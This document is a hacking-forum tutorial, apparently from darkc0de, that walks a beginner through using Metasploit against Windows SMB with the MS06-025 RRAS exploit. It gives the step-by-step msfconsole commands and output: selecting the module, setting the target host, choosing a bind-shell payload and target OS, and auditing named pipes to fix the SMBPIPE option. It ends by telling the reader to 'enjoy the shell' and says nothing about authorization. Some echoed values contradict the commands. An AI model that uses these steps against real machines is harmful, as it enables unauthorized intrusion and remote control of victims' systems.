Metasploit Beginners

```
################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
#        \/                  \/             \/                 #
#                                                              #
#                   ___________   ______ _   __                #
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
#                 \  \___|  | \/\  ___/\     /                 #
#                  \___  >__|    \___  >\/\_/                  #
#      est.2007        \/            \/   forum.darkc0de.com   #
################################################################
# --d3hydr8 -baltazar -sinner_01 -C1c4Tr1Z – r45c4l            #
#      -Marezzi-P47tr1ck- FeDeReR –icqBomber-nix-              #
#              and all darkc0de  members                    ---#
################################################################
```

Beenu Arora
Email: beenudel1986@gmail.com
Site: www.beenuarora.com

Beginning the Journey:

As Per the needs of the darkc0de members, depicting the method to exploit the SMB service using Metasploit. I too have read all about t his somewhere sometime back so I compiled it for the members.

In this we will use the RRAS exploit (Patched at MS06-025) along with SMB exploit. Once we get shell I don't care what you do.

So let's get started:

List of commands to see exploits and payloads (If you are not using the GUI one).

```
show <exploits | payloads>
info <exploit | payload> <name>
use <exploit-name>
```

So command like show exploits would give you something like:

```
msf > show exploits

Exploits
========
Name                                    Description
----                                    -----------
...
windows/smb/ms04_011_lsass              Microsoft LSASS Service
DsRolerUpgradeDownlevelServer Overflow
windows/smb/ms04_031_netdde             Microsoft NetDDE Service
Overflow
windows/smb/ms05_039_pnp                Microsoft Plug and Play Service
Overflow
windows/smb/ms06_025_rasmans_reg        Microsoft RRAS Service RASMAN
Registry Overflow
windows/smb/ms06_025_rras               Microsoft RRAS Service Overflow
```

So we will use windows/smb/ms06_025_rras.

```
msf > use windows/smb/ms06_025_rras
```

The next line would come as :

```
msf exploit(ms06_025_rras) >
```

As every exploit has some option to set like host, port and some other stuff if you have used the GUI version

```
msf exploit(ms06_025_rras) > show options
Name   Current          Setting          Required        Description
----   --------         -------          --------        -----------
RHOST                                    yes             The target address
RPORT                   445               yes            Set the SMB service port
SMBPIPE      ROUTER                      yes             The pipe name to use (ROUTER,
SRVSVC)
```

This exploit requires a target address, the port number SMB (server message block) uses to listen, and the name of the pipe exposing this functionality.

```
msf exploit(ms06_025_rras) > set RHOST 192.168.0.1
RHOST => 192.168.0.1

msf exploit(ms06_025_rras) > show payloads

Compatible payloads
===================
...
windows/shell_bind_tcp              Windows Command Shell, Bind TCP Inline
windows/shell_bind_tcp_xpfw         Windows Disable Windows ICF, Command
Shell, Bind TCP Inline
windows/shell_reverse_tcp           Windows Command Shell, Reverse TCP
Inline
```

Here we see three payloads, each of which can be used to load an inline command shell. The use of the word “inline” here means the command shell is set up in one roundtrip. The alternative is “staged” payloads, which fit into a smaller buffer but require an additional network roundtrip to set up. Due to the nature of some vulnerability, buffer space in the exploit is at a premium and a staged exploit is a better option.

```
msf exploit(ms06_025_rras) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(ms06_025_rras) > show options
```

```
Module                          options:
Name   Current          Setting          Required        Description
---- -    -------          -------          --------          -----------
RHOST 192.168.0.1                         yes              The target address
RPORT                   445               yes              Set the SMB service port
SMBPIPE                 ROUTER            yes              The pipe name to use (ROUTER,
SRVSVC)


Payload options:
Name   Current          Setting          Required        Description
----     -------          --------          --------          -----------
EXITFUNC                thread            yes              Exit technique: seh, thread, process
LPORT  4444                               yes              The local port
```

The exploit and payload are both set. Next we need to set a target type. Metasploit has some generic exploits that work on all platforms, but for others you'll need to specify a target operating system.

```
msf exploit(ms06_025_rras) > show targets
Exploit targets:
Id        Name
--        ----
0         Windows 2000 SP4
1         Windows XP SP1

msf exploit(ms06_025_rras) > set TARGET 1
TARGET => 1
```

Lets Explit it..!!

```
msf exploit(ms06_025_rras) > exploit
[*] Started bind handler
[-] Exploit failed: Login Failed: The SMB server did not reply to our request
```

If you see the info of this exploit it you would come to know why I failed would come as This module exploits a stack overflow in the Windows Routing and Remote Access Service. Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well. A valid username and password is required to exploit this flaw on Windows 2000. When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.

We can see the PIPE has been set to ROUTER which is not true.

Well metasploit does this too for us, it check which pipes are running on he remote host.

From the Auxiliary we will use the PIPE auditor to see which PIPE the remote host is running.

```
msf exploit(ms06_025_rras) > use scanner/smb/pipe_auditor
msf auxiliary(pipe_auditor) > show options

Module options:

Name   Current          Setting          Required        Description
----   ----------       -----            --------         -----------
RHOSTS                                   yes             The target address range or CIDR
Identifier

msf auxiliary(pipe_auditor) > set RHOSTS 192.168.0.1
RHOSTS => 192.168.1.220
msf auxiliary(pipe_auditor) > exploit
[*] Pipes: \netlogon, \lsarpc, \samr, \epmapper, \srvsvc, \wkssvc
[*] Auxiliary module execution completed
```

This tell that the srvsvc PIPE is running on the remote host .

So we just need to use some more command to set the PIPE

```
msf auxiliary(pipe_auditor) > use windows/smb/ms06_025_rras
msf exploit(ms06_025_rras) > set SMBPIPE SRVSVC
SMBPIPE => SRVSVC
msf exploit(ms06_025_rras) > exploit
```

You can enjoy the shell now (of course if vulnerable) and do the stuff.

* Keep one thing in your mind , first the machine should be vulnerable to RRAS vulnerability and secondly machine firewall needs to be off.